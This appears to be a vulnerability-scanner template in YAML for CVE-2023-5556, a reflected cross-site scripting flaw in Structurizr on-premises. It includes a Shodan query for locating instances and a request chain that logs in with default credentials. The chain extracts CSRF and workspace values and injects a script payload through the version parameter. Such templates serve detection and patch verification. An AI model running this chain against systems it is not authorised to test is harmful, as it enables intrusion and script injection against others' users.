101 lines
2.6 KiB
YAML
101 lines
2.6 KiB
YAML
id: CVE-2023-5556
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info:
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name: Structurizr on-premises - Cross Site Scripting
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author: shankaracharya
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severity: medium
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description: |
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Cross-site Scripting (XSS) - Reflected in GitHub repository structurizr/onpremises prior to 3194.
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remediation: |
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Apply the latest security patches or updates provided by Structurizr to fix the XSS vulnerability.
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reference:
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- https://huntr.com/bounties/a3ee0f98-6898-41ae-b1bd-242a03a73d1b/
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- https://github.com/structurizr/onpremises/commit/6cff4f792b010dfb1ff6a0b4ae1c6e398f8f8a18
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2023-5556
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cwe-id: CWE-79
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epss-score: 0.00064
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epss-percentile: 0.26129
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cpe: cpe:2.3:a:structurizr:on-premises_installation:*:*:*:*:*:*:*:*
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metadata:
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max-request: 5
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vendor: structurizr
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product: on-premises_installation
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shodan-query: http.favicon.hash:1199592666
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tags: cve,cve2023,xss,structurizr,oos,authenticated
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variables:
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str: "{{randstr}}"
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http:
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- raw:
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- |
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GET /signin HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /login HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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username={{username}}&password={{password}}&_csrf={{csrf}}&hash=
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- |
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GET /dashboard HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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- |
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GET /workspace/create HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /workspace/{{workspace}}/?version={{str}}%22);alert(document.domain);// HTTP/1.1
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Host: {{Hostname}}
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attack: pitchfork
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payloads:
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username:
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- "structurizr"
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password:
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- "password"
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matchers-condition: and
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matchers:
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- type: word
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part: body_3
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words:
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- '<a href="/dashboard">'
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- 'Sign out'
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condition: and
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- type: word
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part: body_5
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words:
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- '");alert(document.domain);//'
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- 'Structurizr'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: csrf
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group: 1
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regex:
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- 'name="_csrf" value="([0-9a-z-]+)"'
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internal: true
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- type: regex
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name: workspace
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group: 1
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part: header
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regex:
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- '\/workspace\/([0-9]+)\?scriptNonce='
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internal: true
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# digest: 4a0a00473045022016c9116f5d08d434ce63ecbeba018da6e0eda0406d850137ee0484bb78ab66c0022100a54b3fecb6fb2faa1f50ebd5b81530b98efb8d0338ab7ec8716bc2861992c836:922c64590222798bb761d5b6d8e72950 |